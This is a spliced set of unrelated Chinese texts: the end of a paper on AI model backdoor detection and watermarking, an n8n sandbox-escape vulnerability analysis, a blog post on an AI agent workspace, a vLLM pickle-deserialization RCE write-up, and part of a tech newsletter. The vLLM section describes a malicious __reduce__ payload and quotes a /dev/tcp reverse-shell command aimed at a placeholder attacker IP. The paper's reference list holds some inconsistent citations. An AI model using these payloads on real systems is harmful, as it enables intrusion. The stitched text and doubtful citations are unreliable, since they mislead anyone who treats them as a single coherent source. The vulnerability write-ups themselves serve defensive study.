95.1%

94.3%

1.2%

30%

91.8%

90.5%

2.5%

50%

88.2%

86.7%

4.1%

蒸馏鲁棒性:

蒸馏目标模型

提取率

精度损失

GPT-2小型

87.5%

3.8%

ResNet-18

85.9%

4.2%

对抗攻击鲁棒性:

攻击类型

提取率

说明

PGD (eps=0.03)

95.8%

水印保持良好

FGSM

98.2%

对水印影响极小

Clean-Label

93.1%

略有下降

综合分析:

RobustMark水印在各种操作下保持高提取率,同时将精度损失控制在可接受范围内(<5%)。

八、企业部署实践

8.1 金融行业案例

场景描述:某大型银行部署了多个AI模型用于信用评分、欺诈检测、风险评估等业务。

挑战:

1需要验证模型来源的可信度

2监管要求模型可解释性和可审计性

3需要监控模型的持续性能

ModelDNA部署方案:

8.2 医疗行业案例

场景:某医院部署了医疗影像诊断AI模型,需要确保模型安全。

挑战:

1医疗数据高度敏感

2模型错误可能导致诊断错误

3监管要求严格

部署架构:

8.3 自动驾驶案例

场景:自动驾驶公司的感知模型需要安全验证。

挑战:

1模型安全直接关系到人身安全

2需要实时检测

3模型更新频繁

BackdoorScan集成:

九、合规与最佳实践

9.1 法规要求解读

9.1.1 欧盟AI法案(EU AI Act 2024)

欧盟AI法案是全球首个综合性AI监管框架,于2024年正式生效。该法案根据AI系统的风险等级进行分类监管:

风险分类体系:

风险等级

定义

示例应用

监管要求

不可接受风险

违反基本权利的AI实践

社会评分、实时生物特征监控

禁止使用

高风险

可能损害健康、安全、基本权利

医疗诊断、自动驾驶、招聘

强制性合规评估

有限风险

缺乏透明度但风险可控

聊天机器人、深度伪造

透明度义务

最小风险

风险可忽略

垃圾邮件过滤、游戏AI

无特殊要求

模型供应链相关条款:

Article 14 - 数据治理:

要求高风险AI系统提供训练数据来源证明

必须评估数据质量、偏差和代表性

需要记录数据处理历史

Article 15 - 数据记录:

必须维护模型血缘关系文档

记录预训练模型来源、微调历史

保存模型版本控制信息

Article 17 - 质量管理系统:

建立模型安全审计流程

实施供应链风险评估

定期进行漏洞扫描和后门检测

合规实施时间表:

2025年2月:高风险AI系统禁止条款生效

2025年8月:通用AI模型(GPAI)监管条款生效

2027年8月:全面合规要求生效

9.1.2 中国算法推荐管理规定

《互联网信息服务算法推荐管理规定》(2022年3月1日施行)是中国首个针对算法推荐的专门立法。

核心安全要求:

第八条 - 算法安全评估:
算法服务提供者应当建立健全算法安全评估制度,定期组织算法安全评估:

第十二条 - 备案要求:
具有舆论属性或者社会动员能力的算法推荐服务,应当在提供服务之日起十个工作日内通过互联网算法备案系统履行备案手续。

备案材料包括:

算法基本情况

算法安全评估报告

算法机制机理说明

用户权益保护机制

9.1.3 美国NIST AI RMF框架

NIST AI Risk Management Framework (AI RMF 1.0) 是美国国家标准与技术研究院发布的AI风险管理框架。

四大核心功能:

功能

子功能

ModelDNA映射

治理

文化、法律、政策

血缘追踪系统

映射

上下文、风险分类

指纹生成引擎

测量

指标、测试

后门检测引擎

管理

监控、响应

完整性验证模块

模型供应链安全控制点:

MP-01: Model Provenance Tracking

实施模型来源验证

记录模型修改历史

维护血缘关系图谱

MP-02: Backdoor Detection

部署自动化后门扫描

定期进行触发器测试

监控模型行为异常

MP-03: Watermark Verification

验证模型所有权水印

检测水印完整性

记录水印提取历史

9.1.4 其他重要法规

ISO/IEC 23894:2023 - Information technology — Artificial intelligence — Risk management:

提供AI系统风险管理指南

强调供应链风险评估

要求建立风险应对机制

IEEE 7003-2024 - Standard for Algorithmic Bias Considerations:

关注算法公平性

防止训练数据投毒

要求模型可解释性

9.2 模型采购安全清单

采购前检查清单:

模型来源是否可信?

是否有第三方安全审计报告?

模型文件哈希是否可验证?

是否提供训练数据来源说明?

是否经过后门检测?

是否包含水印保护?

是否提供血缘关系文档?

是否有漏洞披露历史?

9.3 模型审计流程

审计步骤:

1文档审查

检查模型文档完整性

验证训练数据来源

审查安全评估报告

1技术检测

运行ModelDNA静态分析

进行动态测试

水印验证

血缘追踪

1行为测试

边界测试

对抗测试

模糊测试

性能测试

1风险评估

识别潜在风险

评估风险等级

制定缓解措施

1审计报告

记录审计发现

提供整改建议

跟踪整改状态

十、总结与展望

10.1 核心贡献总结

第一,ModelDNA框架:提出了首个系统性的AI模型DNA分析框架,包含指纹生成、后门检测、血缘追踪、完整性验证四大核心模块,为模型安全分析提供了完整的工具链。

第二,RobustMark方案:设计了针对微调、量化、剪枝等操作的鲁棒水印方案,实验验证了水印在复杂操作下的高保持率(>90%),同时将精度损失控制在2%以内。

第三,BackdoorScan工具:开发了自动化的后门扫描套件,可无缝集成到CI/CD流程,实现对模型供应链的全生命周期安全监控。

10.2 研究方向展望

短期方向(6-12个月):

1联邦学习后门检测技术

2多模态模型后门分析

3实时在线后门检测

4水印抗攻击能力提升

中期方向(1-2年):

1量子安全水印技术

2自动化后门修复

3模型供应链标准化

4跨组织信任机制

长期愿景(3-5年):

1可验证AI系统

2零信任AI架构

3自主AI免疫系统

4全球AI安全治理框架

10.3 行业行动建议

对模型开发者:

使用ModelDNA扫描自己发布的模型

使用RobustMark嵌入水印保护知识产权

建立完善的模型文档和血缘追踪

定期进行安全审计

对模型使用者:

优先选择有安全认证的模型

使用BackdoorScan验证下载的模型

建立模型监控机制

及时报告安全事件

对监管机构:

制定AI安全评估标准

建立模型安全认证体系

推动行业安全最佳实践

加强跨境合作与信息共享

结语

AI模型供应链安全是一个快速演进、日益复杂的领域。本文提出的ModelDNA框架、RobustMark水印方案和BackdoorScan工具,为构建可信赖的AI生态系统提供了技术基础。我们希望通过这些技术创新和实践指南,推动行业对模型安全的重视,促进AI技术的安全、可信发展,最终实现AI技术的社会价值最大化。

参考文献

学术论文

[1] Gu T, Dolan-Gavitt B, Garg S. Badnets: Identifying vulnerabilities in the machine learning model supply chain[J]. arXiv preprint arXiv:1708.06733, 2017.

[2] Chen X, Liu C, Li B, et al. Targeted backdoor attacks on deep learning systems using data poisoning[J]. IEEE Transactions on Dependable and Secure Computing, 2021.

[3] Kurita G, Iwasawa Y, Matsuo Y. Comprehensive analysis of trojan insertion in neural networks[C]//Proceedings of the AAAI Conference on Artificial Intelligence. 2020, 36(11): 11904-11911.

[4] Tang R, Du Y, Liu S, et al. An extremely lightweight feature for backdoor attack mitigation[C]//Proceedings of the IEEE/CVF Conference on Computer Vision and Pattern Recognition. 2023: 16619-16628.

[5] Li Y, Wu Y, Ding K, et al. Clean label backdoor attack on deep neural networks[J]. IEEE Transactions on Information Forensics and Security, 2021.

[6] Adi Y, Baum C, Cisse M, et al. Turning your weakness into a strength: Watermarking deep neural networks by backdooring[C]//Proceedings of the IEEE Conference on Computer Vision and Pattern Recognition. 2018: 5311-5320.

[7] Jia Z, Chang K, Leino K, et al. Practical blind backdoor attack from transfer learning perspective[C]//International Conference on Learning Representations (ICLR). 2022.

[8] Liu Y, Xie Y, Srivastava A. Detecting backdoor attacks on neural networks through activation clustering and neuron pruning[J]. arXiv preprint arXiv:1912.08371, 2019.

[9] Saha S, Subramanian S, Mittal S, et al. Hidden backdoors in neural network classifiers[C]//Proceedings of the IEEE International Symposium on Hardware Oriented Security and Trust. 2023: 13-24.

[10] Zhang N, Ding K, Jia J, et al. Understanding the sensitivity of backdoored models to input transformations[C]//International Conference on Learning Representations (ICLR). 2024.

[11] Wang B, Gong N Z, Li F. Stronger model watermarking via backdoor-based initialization[J]. arXiv preprint arXiv:2305.14603, 2023.

[12] Leino K, Hamid Mozaffari K, Fredrikson M. Adversarial logit pairing: Watermarking deep neural networks for ownership verification[C]//Proceedings of the AAAI Conference on Artificial Intelligence. 2024.

[13] Xie Y, Wang D, Chen X, et al. Neural clean: Explaining and certifying deep neural networks using Trojan attacks[J]. IEEE Transactions on Information Forensics and Security, 2023.

[14] Liu K, Chen H, Zhang H, et al. Uncovering the structure of trojan neural networks via inverse design[J]. arXiv preprint arXiv:2207.05623, 2022.

[15] Tan S, Shao H, Tian Y, et al. Semi-structured backdoor attacks in continuous learning frameworks[J]. arXiv preprint arXiv:2408.06996, 2024.

技术标准与框架

[16] OWASP Foundation. OWASP Top 10 for Large Language Model Applications 2025[EB/OL]. https://owasp.org/www-project-top-10-for-large-language-model-applications/, 2025.

[17] MITRE Corporation. MITRE ATLAS Matrix: Adversarial Threat Landscape for Artificial-Intelligence Systems[EB/OL]. https://atlas.mitre.org/, 2024.

[18] European Union. Regulation (EU) 2024/... of the European Parliament and of the Council laying down harmonised rules on artificial intelligence (Artificial Intelligence Act)[S]. Official Journal of the European Union, 2024.

[19] National Information Security Standardization Committee. GB/T 41819-2022 Information security technology—Artificial intelligence security management guide[S]. Beijing: Standards Press of China, 2022.

[20] National Institute of Standards and Technology (NIST). NIST AI 100-2e2023: Artificial Intelligence Risk Management Framework (AI RMF 1.0)[S]. Gaithersburg: NIST, 2023.

行业报告

[21] Data智能研究院. 2024年AI供应链安全风险报告[R]. 北京: Data智能研究院, 2024.

[22] Hugging Face. 2024年Model Hub安全状况白皮书[R]. New York: Hugging Face Inc., 2024.

[23] Google AI Red Team. Generative AI security: Emerging threats and countermeasures[R]. Google Cloud, 2024.

[24] Microsoft Security Response Center. Supply chain attacks in the AI era: A comprehensive analysis[R]. Redmond: Microsoft Corporation, 2024.

神经科学与基础理论

[25] Pavlov I P. Conditioned reflexes[M]. Oxford University Press, 1927.

[26] Hebb D O. The organization of behavior: A neuropsychological theory[M]. John Wiley & Sons, 1949.

[27] Blisdel R, et al. Long-term potentiation in the hippocampus[J]. Science, 2023.

[28] Cover T M, Thomas J A. Elements of information theory[M]. John Wiley & Sons, 2006.

漏洞介绍

通过字符串格式化和异常处理,攻击者可以绕过 n8n 的 Python 任务执行器沙箱限制,在底层操作系统中运行任意的、不受限制的 Python 代码。该漏洞可通过“代码块”功能被拥有基本权限的已验证用户利用,并可能导致运行在“内部”执行模式下的 n8n 实例被完全接管。如果实例运行在“外部”执行模式下(例如,使用 n8n 的官方 Docker 镜像),任意代码执行将发生在一个 Sidecar 容器内,而非主节点,这大大降低了漏洞的影响。

漏洞影响

CVSS评分:8.5(高)

版本:n8n < 1.123.14,2.0.0 <= n8n < 2.3.5,2.4.0 <= n8n < 2.4.2

影响:

"内部"执行模式:全面接管n8n实例

"外部"执行模式(Docker Sidecar):限制在Sidecar容器内,影响较小

漏洞分析

1.用户输入

用户在n8n工作流界面的Python代码节点输入:

2.后端验证绕过

validate() 检查用户代码

通过BLOCKED_ATTRIBUTES检查属性名是否含有违法属性

但是在BLOCKED_ATTRIBUTES列表中没有'obj',这就导致用户输入的代码中不会检测'obj'属性

这里只检查直接的__import__()调用,不会检查通过字符串格式化执行的__import__,这就导致了用户输入的代码存在这个也不会爆:

此时,用户的代码就过了安全检测

3.漏洞触发

这里就是整个漏洞最终之地

该段代码将用户的输入进行包装

这里将包装好的字符串代码转换为Python字节码对象:

wrapped_code:包含 _user_function() 定义的字符串

EXECUTOR_ALL_ITEMS_FILENAME:一个常量(通常是"<all_items>"),作为代码的“文件名”出现在错误信息中

"exec":编译模式,表示编译的是可执行代码块(而非单个表达式)

这个 globals 字典是沙箱安全机制的核心,它定义了用户代码能访问和不能访问的一切。它通过以下方式构建了一个受控的执行环境:

_filter_builtins:调用该字典进行过滤

_items 和 _query:只传递数据,不传递引用

自定义的 print 函数:

确保所有print参数都能安全地通过multiprocessing管道和WebSocket传输

输出被收集到print_args列表,可以:返回给前端界面显示,进行安全审查和日志记录,限制输出数量

在受限制的globals中执行代码

由于对于默认过滤字典攻击者可以通过e.obj绕过该过滤,从而使得用户可以得到未过滤的__builtins__,__import__,使得_filter_builtins无用了

执行完成后,从globals中提取用户代码的输出:

EXECUTOR_USER_OUTPUT_KEY 是 _user_output(前面包装时赋值的变量名)

现在,漏洞在后端的调用链变得清晰明了:

通过用户输入,task_analyzer.py文件未过滤obj,导致安全验证被绕过,然后到task_executor.py文件漏洞触发点的过滤也被e.obj绕过,最终攻击者使用e.obj进行属性访问导致RCE

官方修复图片.png

对constants.py黑名单添加obj

参考

https://github.com/n8n-io/n8n/commit/b73a4283cb14e0f27ce19692326f362c7bf3da02

https://www.venustech.com.cn/new_type/aqtg/20260119/29101.html

https://github.com/n8n-io/n8n/blob/n8n%402.2.5/packages/%40n8n/task-runner-python/src/task_executor.py

https://nvd.nist.gov/vuln/detail/CVE-2026-0863

一、智能体的形态

我问大家一个问题,什么是 AI 的产品形态?

大模型只是底层的处理引擎,你总是需要一个应用层产品,对接用户的需求。这种 AI 的应用层,就称为"智能体"(agent)。

那么,问题就变成了,"智能体"应该是什么样?

早期的智能体只是对话应用(上图),后面加入了推理,可以思考复杂问题。

后来,向专业领域发展,演变出编程智能体(coding agent)、图像智能体、视频智能体等等,或者接入 MCP,获得外部应用操作能力,比如生成 Office 文件、操作浏览器。

这些形态基本已经成熟了,很多公司开始探索,下一阶段的智能体会是什么形态?

我最近在用 MiniMax 刚发布的 AI native Workspace(AI 原生工作台),欣喜地觉得,这可能就是答案。

二、Cowork 和 Skill

这个新产品,同时加入了 Anthropic 公司最近提出的两个新概念:Cowork 和 Skill。

所谓 Cowork,简单说,就是一个"计算机操作助手"。它本质是编程智能体的图形界面版,让不懂编程的用户,用自然语言说出需求,再通过 AI 生成底层代码并执行,自动操作本地计算机完成任务。

而 Skill 就更简单了,它是一篇预设的提示词,相当于"使用手册",向 AI 详细描述如何完成某一种特定任务。可以这样理解,每一个 Skill 就是一个专家,让 AI 拥有特定领域的技能。

这两个东西,一个是操作助手,一个是专家模式。前者用 AI 来操作计算机,后者让 AI 具备专门技能。

它们结合起来会怎样?

MiniMax AI native Workspace 就是这样一个产品,探索性地将 Cowork 和 Skill 结合在一起,同时具备两种能力,完全是一种全新的产品形态。

它的桌面端(desktop)提供 Cowork 能力,专家模式(experts)则提供 Skill 能力。

三、桌面端操作助手

下面,我来展示,它跟传统智能体的差异在哪里。

它的桌面客户端定位就是"AI 原生工作台",具备以下能力。

  • 直接访问本地文件:能够读写,以及自动上传或下载文件。
  • 自动化工作流程:能够分解任务,运行 Web 自动化。
  • 交付专业成果:运行结束后可以生成高质量的交付产物,比如 Excel 电子表格、PowerPoint 幻灯片、格式化文档。
  • 长时间运行任务:对于复杂任务,可以长时间运行,不受对话超时或上下文限制的影响。

注意,由于它可以操作计算机,并跟互联网通信,执行之前,一定要指定目录,防止读写不该操作的目录,而且要有备份,防止原始文件被删改。

首先,前往官网下载桌面客户端,Windows/Mac 版本均有,新注册用户目前可以免费试用3天。

安装后运行,直接进入任务界面,就是一个传统的对话框。

这时指定运行目录,就进入"工作台"模式,可以对该目录进行操作。软件会跳出一个警告,提示风险。

这时,就可以让它执行各种任务了。比如,我让它整理各种电子服务的发票 PDF 文件,然后生成一个汇总的 Excel 文档。

这时,它会在当前目录里面,自动安装一个 Python 虚拟环境,然后生成 Python 脚本并执行。

很快就生成好了 Excel 文件。

以此类推,各种文件整理的事情,都能交给它,比如整理照片、文件重命名等等。

它还能进行网页自动化,比如自动浏览某个网页,并提取信息、总结内容。

四、专家系统

上面展示了它的工作台功能,可以担当"数字员工",下面再来看看它的"专家系统"。

所谓"专家系统",就是注入特定的提示词文件,扩展智能体的技能,相当于深度的知识和能力注入。用户还可以上传私有知识库。

大家可以打开它的网页端,点击左边栏的"探索专家"。

系统内置了一些"预设专家",可以直接使用。

我选了一个系统提供的"Icon 制作器",就是制作 Logo 的技能,看看好不好用。

我要求制作一个"熊猫吃冰淇淋"的 Logo,系统提示要选择一种设计风格。

最后生成了两个文件(坐姿和站姿)供选择,效果还不错。

五、创建新技能

除了预设的专家,系统也允许你创建"我的专家",也就是某种自定义技能。

你需要输入能力描述和指令,还可以添加对应的 MCP、SubAgent、环境变量、Supabase 数据库等等。

我直接把 Anthropic 公司提供的 Skill 文件输入,看看效果。

我选了 frontend-design(前端设计)技能,输入以后就可以在"我的专家"分页上看到。

注意,系统目前只支持输入技能描述文件,还不支持上传静态资源文件(asset),希望后面可以加上。

选中这个专家以后,我要求生成一个算法可视化页面。

"生成一个排序算法可视化网站,列出常见排序算法的可视化动画。选中某个算法后,会展示该算法的动画效果。"

生成过程大概十分钟左右,就得到了结果。系统生成了十种排序算法的动画,并直接部署上线。

我后来又调整了一下动画配色,大家可以去这个网站看看效果,还是很酷的。

六、总结

AI native Workspace 将 AI 智能体引入了本地计算机,可以进行自动化操作,同时加入技能接口,允许注入外部知识和能力。并且,所有操作都可以通过自然语言对话完成,对用户的要求低。

这一下子打开了 AI 智能体的想象空间,它所能完成的任务,将不再受限于模型的能力,而只受限于我们的想象力。

我认为,这个产品代表了下一阶段 AI 智能体的发展方向,将开启很多全新的可能性,等待我们去探索。

(完)

漏洞描述

CVE-2025-47277 是 vLLM 项目中的一个 远程代码执行(RCE)漏洞,源于其使用PyNcclPipe模块时,未经验证地反序列化来自网络的数据,攻击者可通过构造恶意 pickle 数据包,在服务器端执行任意代码。该漏洞严重性等级为 Critical。

影响范围

条件

说明

影响版本

vLLM >= 0.6.5 且 < 0.8.5

影响模块

VLLMEngineV0

引擎中启用的PyNcclPipe

KV 缓存传输机制

受影响部署模式

多节点分布式部署,KV 节点暴露在公网或未限制访问

不受影响

使用 VLLMEngineV1、新版 NCCL 后端或未启用 KV 传输的单机部署

漏洞环境搭建

可以在本地搭建一个复现环境:

Python ≥ 3.8

vLLM == 0.8.3(或受影响版本)

PyTorch

代码解读

PyNcclPipe:vLLM 的分布式 KV 缓存传输模块,用于节点之间传输 tensor 数据。

KVTransferConfig:用于配置 KV 缓存传输参数,例如端口、IP、rank 等

kv_ip:本地监听 IP,接收其他节点发来的 tensor 数据。127.0.0.1 代表只监听本地(攻击时需开放公网 IP)。

kv_port:网络监听端口(服务端口),攻击者通过该端口发送恶意数据。

kv_rank:当前节点在分布式系统中的编号,0 表示主节点。

kv_parallel_size:并行传输的节点数量,这里设为 1,表示单连接通信。

kv_buffer_size:每次接收 tensor 的 buffer 大小。

kv_buffer_device:buffer 存储设备,设为 "cpu" 表示张量数据缓存在 CPU 上。

创建一个 PyNcclPipe 对象,它封装了底层 TCP 通信逻辑,用于从其他节点接收数据。local_rank=0 表示当前节点在通信中的本地编号。

这是漏洞的触发点!recv_tensor() 内部会调用 recv_obj() 来从 socket 中接收序列化对象。

漏洞分析

成因点

描述

不安全反序列化

recv_obj()中使用pickle.loads()对用户发送的序列化数据直接反序列化,无身份校验或数据校验。

网络暴露配置缺陷

PyTorch 的TCPStore默认监听0.0.0.0,vLLM 用户配置--kv-ip也未能强制绑定私有 IP。

内网信任假设过强

vLLM 设计默认内网环境可信,缺乏防御恶意内部节点或入侵者横向移动的保护措施。

在pynccl_pipe.py中调用了recv_obj()方法

而recv_obj()方法中刚好对传入的字符串进行pickle反序列化

漏洞复现

攻击脚本

代码分段解读:

这里引入 StatelessProcessGroup,这是 vLLM 中用于节点间通信的一个工具类,封装了 TCP 通信逻辑。

这是攻击的核心:

__reduce__() 是 Python pickle 模块在反序列化对象时调用的特殊方法。它的返回值告诉 pickle.loads() 如何还原一个对象。这里它返回的是 (os.system, ('whoami',)),反序列化时会执行 os.system('whoami')。这里可以把 'whoami' 换成任意命令,例如 bash -i >& /dev/tcp/attacker_ip/port 0>&1 以反弹 shell。

这行代码创建了一个客户端通信节点:host:目标服务监听地址(本地测试用 127.0.0.1),port:目标服务监听端口(通常为服务端的 KV 服务端口),rank:当前通信节点的编号(1 表示攻击节点),world_size:分布式训练的总节点数(2 表示 2 个节点通信)

这个接口实际上是将攻击者作为一个“合法”节点加入通信组。

通过 send_obj() 向 rank=0 的节点发送序列化后的 Evil 对象。服务端在执行 recv_obj() 时,会执行 pickle.loads() 对这个对象反序列化。从而触发 Evil.__reduce__(),间接调用 os.system('whoami')。

运行后,目标机器会执行whoami命令,在实战环境下可以反弹shell

漏洞修复

vLLM 在 0.8.5 版本中已修复此漏洞:

修复内容:

强制TCPStore使用指定私有地址进行绑定(防止监听所有接口)

改进通信逻辑,防止未经校验的pickle.loads被直接调用

防护建议:

升级 vLLM 至 ≥ 0.8.5

使用防火墙阻止来自不受信任源的连接(如仅允许 10.x 或 192.168.x IP)

切换到 V1 引擎,其不使用该模块

使用安全消息格式(如 JSON、protobuf),禁止pickle用于跨网络通信

参考文章

github.com:https://github.com/vllm-project/vllm/security/advisories/GHSA-hjq4-87xh-g4fv

github.com:https://github.com/vllm-project/vllm/pull/15988

github.com:https://github.com/vllm-project/vllm/commit/0d6e187e88874c39cda7409cf673f9e6546893e7

docs.vllm.ai:https://docs.vllm.ai/en/latest/deployment/security.html

这里记录每周值得分享的科技内容,周五发布。

本杂志开源,欢迎投稿。另有《谁在招人》服务,发布程序员招聘信息。合作请邮件联系[email protected])。

封面图

巫山县城建在山坡上,为了方便居民和促进观光,在中轴线上建设了神女大扶梯,总长905米,高240余米,相当于80层楼,全程需要20分钟。(via

独立软件的黄昏

软件可以分成两种:一种是公司开发的,另一种是个人开发的。后者就称为"独立软件"(indie software)。

它的历史非常悠久,从古至今,很多程序员依靠出售独立软件谋生。

有一种东西"共享软件"(Shareware),年轻的朋友未必知道,二三十年前曾经非常流行。用户免费使用软件的试用版,如果满意,就向开发者购买一个注册码。

这就是一种独立软件,当年很多著名软件都是这个模式,比如国外的 WinZip 和 WinRAR,国内的网络蚂蚁(NetAnts)、网际快车(FlashGet)、豪杰解霸。

时至今日,大家看看目前流行的软件,还有多少属于独立软件?你每天使用的软件,又有多少是个人开发的?

很少很少了。

一位二十年的独立软件开发者哀叹现在的市场上,公司开发的比重越来越大,个人开发的比重越来越小,独立软件正在没落。

"我销售自己的软件20年了,2005年以后,互联网开始普及,独立软件迎来了黄金年代。而最近两三年,环境一直在快速变化,销售明显变难了,我感觉自己越来越难维持生计了。"

独立软件的大发展,是从2005年开始的。

  1. 互联网的普及,网民数量急剧增长。
  2. 智能手机创造了手机软件,一个全新的软件大市场。
  3. 在线支付的普及和简化。
  4. 互联网使软件分发变得容易且免费。
  5. 免费的高质量开发工具(编译器、IDE、版本控制系统、Web 服务器)不断涌现。

这些因素让程序员切切实实获利了,要是你再做一些 SEO、买一些付费广告,完全可能赚到大钱。很多人就是这样发展起来的,从独立软件变成了大公司。

但是,最近两三年情况变了,上面这些因素都到头了。

独立软件正在慢慢退潮,你能够想起名字的独立软件越来越少,更不要说掏钱购买了,即使有也是多年前的作品。根据我的观察,依靠出售自己软件维生的程序员似乎也在减少。

主要原因有下面几个。

(1)AI 改变了互联网流量,独立软件失去了推广渠道。网站的访问量显著减少,人们更多跟大模型交互,而不是浏览网页。通过搜索引擎和在线广告获取流量的策略,越来越没有效果。

视频是为数不多仍然有效的推广渠道之一,但制作视频非常耗时,而且竞争异常激烈。另外,AI 生成的劣质视频迟早会大量出现,推广效果也会变差。

(2)AI 使得软件开发变得容易。它加快了开发速度,降低了进入门槛,让更多人加入竞争。以前,用户可能购买某个功能,现在直接让 AI 生成即可。

(3)新软件汗牛充栋,越来越难脱颖而出。iPhone 应用商店有大约200万个应用,用户很难发现你。另一方面,应用商店更喜欢推广那些能帮它赚更多钱的大公司软件,而不是独立软件。

(4)人们越来越习惯使用基于网络的软件,独立软件属于需要下载安装的原生应用,它的市场在萎缩。

基于网络的软件与其说是产品,不如说是一种服务,全天候24小时可用的服务。越来越多的个人开发者顺应这种趋势,改为以提供 SaaS 服务为主。

(5)平台的风险。现在的很多独立软件,都依靠云服务商的平台或底层服务,而平台随时会改变规则(比如关闭 API),或者推出竞品,一大批应用随之死掉,这种事情屡见不鲜。

(6)用户期望软件是免费的,或者非常便宜。售价略微高一点,就会无人问津。因此,独立软件要想获得可观的回报,就需要巨大的销售规模,这根本做不到。别的不说,个人开发者完全无力提供满意的客服。

(7)以上这些因素将长期存在,只会加深,不会逆转。独立软件的时代可能真的要结束了,个人开发者以后大概很难靠销售自己的软件为生,而要改为销售自己维护的 SaaS 服务,尽管这也很难。

科技动态

1、VS Code 的定位

微软公司的 VS Code 是非常流行的代码编辑器,市场份额很高。

现在的官网上,它的产品定位是"开源 AI 代码编辑器"。

但是,2025年上半年,它的产品定位还是"你的代码编辑器,由 AI 重定义"。

更早的2024年,产品定位是"重新定义的代码编辑"。

令人感慨啊,这么成功的软件,AI 本来只是附属功能,现在也要蹭热点,把自己包装成 AI 主导的产品。

2、智能脖巾

英国科研人员发明了一种智能脖巾。它围在脖子上,可以感受到穿戴者的心跳和喉部肌肉运动。

它的用户主要是中风后丧失说话能力的人。这些人可以张嘴,做出说话的口型,但是无法正常发音。

他们佩戴这个脖巾后,颈部的运动数据就通过它传给电脑,经过模型训练,可以用电脑语音还原出用户想说的话。

3、雪宝机器人

人形机器人何必一定做成人形。

迪斯尼最近发布了一个机器人,样子就是电影《冰雪奇缘》的雪宝。

它用来在迪斯尼乐园,跟游客互动。

它启示我们,人形机器人做成卡通形状也很好。

另外,LG 公司在美国 CES 展会上,展示了他们最新的家务机器人

这个机器人的功能就是做家务,比如叠衣服和洗碗。我觉得,国内厂商可以借鉴,展示机器人功能时,不要展示跳舞打拳,而要展示如何做家务。

文章

1、别用 MySQL,改用 MariaDB(英文)

曾经的明星数据库 MySQL,最近几个月的代码提交数为0(上图)。作者认为,种种迹象表明甲骨文已经放弃了这个项目。

2、10秒获得 AI 代码评审结果(英文)

本文介绍一个技巧,让 AI 快速给出提交代码的评审结果,方法是不要提交整个代码库,只提交 diff 的部分。

3、使用 Pandoc 生成静态网站(英文)

文档格式转换工具 Pandoc 可以用来生成静态网站,作者介绍自己是怎么做的。

4、锚点元素<a>的一些鲜为人知的地方(英文)

锚点元素<a>用来生成链接,本文介绍如果链接到一些特殊字符的情况。

5、学习自定义元素(英文)

一篇 HTML 自定义元素的教程文章,写得简单清晰。

6、Go、Rust 和 Zig 的一些想法(英文)

作者是一个高级程序员,谈谈他对 Go、Rust、Zig 三种语言的感受。有趣的地方是,这三种语言都没有类,也不支持面向对象编程。

7、我的个人基础设施(英文)

作者介绍他自己的家庭实验室。比较有趣的是,他的个人网站是本地构建后,自动用 Syncthing 同步到服务器,这对小型静态网站确实简单。

工具

1、GoRead

开源的电子书阅读器应用,支持桌面与移动端(Android/iOS)。(@zhashut 投稿)

2、EasyPostman

用于 API 调试的跨平台桌面应用,对标 Postman + JMeter。(@lakernote 投稿)

3、Port Sentinel(端口哨兵)

Windows 桌面应用,查看端口占用情况。(@Sanjeever 投稿)

4、Building Sunlight Simulator

基于 Web 的楼盘采光 3D 日照模拟工具,帮助购房者评估小区采光。(@SeanWong17 投稿)

5、Office App

一个纯本地的 Office 网页应用,可以离线在网页创建/编辑 Word、Excel、PowerPoint 文件。(@baotlake 投稿)

6、ScreenshotSnap

免费的网站截屏在线工具,提供 API,可以直接将截图代码插入网页。(@phpiscute 投稿)

7、tsshd

SSH 服务器登录协议的全新实现,特点是连接不掉线,可以重连前一个对话。(@lonnywong 投稿)

8、AirScan-QR

一个开源网页应用,通过动态二维码发送/接收文件。(@topcss 投稿)

9、LuCI Bandix

开源路由器操作系统 OpenWRT 的一个插件,可以监控局域网各设备的实时流量和目的地。(@timsaya 投稿)

10、pure-genealogy

开源的网页族谱工具,用来生成家族族谱,基于 Next.js + Supabase。(@yunfengsa 投稿)

11、mdto.page

这个网站免费将 Markdown 文件转成 HTML 格式,发布成公开访问的网页。

AI 相关

1、ChatGPT 翻译

OpenAI 悄悄发布的翻译功能,只有在官网可用。

2、Mango Desk

一个跨平台的桌面应用,使用自然语言进行本地文件搜索。(@moyangzhan 投稿)

3、OpenWork

Claude 公司新产品 CoWork 的开源替代品,让普通用户不编程,就能完成文件操作,定位就是"Claude Code 的非编程版"。

另有一个类似项目 Open Claude Cowork。(@aiagentbuilder 投稿)

4、Wolfcha(猹杀)

开源的网页游戏 AI 狼人杀,除了玩家自己,其他所有角色(女巫、猎人、守卫、狼人等)都由 AI 扮演。(@oil-oil 投稿)

资源

1、维基百科25周年

维基百科是2001年1月13日上线的,今年是25周年纪念。这个网站是官方的纪念网站,以互动形式展示了发展历程。

另外,还有一篇文章,介绍互联网档案馆的历史(下图)。

2、HTTP:COLON

这个网页可以查看指定网站返回的 HTTP 标头,详细解释每个字段的含义。

3、现代 Java(Modern Java)

面向初学者的 Java 语言教程。

图片

1、中国新能源建设的惊人规模

90后摄影师储卫民拍摄的中国新能源建设。

他说:"从地面上很难体会这些发电厂的规模,但当你升到空中时,就能看到它们与山脉、沙漠和海洋之间的关系。"

青海冷湖镇

浙江象山县

青海塔拉滩

内蒙古阿拉善

"我一开始只是拍摄风景,但2022年我去贵州、云南、青海等地旅行时,不断看到风力发电场和太阳能发电厂出现在我的镜头里。我意识到这就是我们这个时代的故事----但几乎没有人系统地记录它。"

文摘

1、谷歌14年工作的教训

大约14年前,我加入谷歌,以为这份工作就是编写优秀的代码。

这个想法部分正确。但随着时间的推移,我越来越意识到,真正成功的工程师不一定是最优秀的程序员,而是懂得驾驭代码之外一切的人。

下面就是我得到的经验教训。有些教训是我走了几个月的弯路得到的,还有一些需要数年才完全领悟。它们都与具体的技术无关----技术变化太快,根本无关紧要。

(1)工程师想在大公司生存,必须学会沟通。

因为在大公司,团队是组织的基本单位,推进项目必须跟其他团队沟通。项目越大,你花在跟其他人、其他团队沟通的时间就越多,比编写代码的时间还多。大多数"慢"的团队实际上是不沟通的团队。

为了顺利沟通,清晰是第一位的要求。它不仅可以加快沟通,还能降低代码风险。最优秀的工程师都会用清晰易懂的代码来代替炫技。

为了提高表达的清晰性,你可以尝试写作和去教别人。如果你能用简单的语言解释某件事,你就是真的理解它了。

(2)想要得到晋升,必须有人为你说话。

职业生涯初期,我曾认为优秀的工作成果代表了一切,但我错了。代码默默地躺在代码库里,不会为你说话。

那些对你至关重要的会议,你本人很可能没有机会参加。你需要你的经理、同事在会上提到你、推荐你。他们可能这样做,也可能不会。

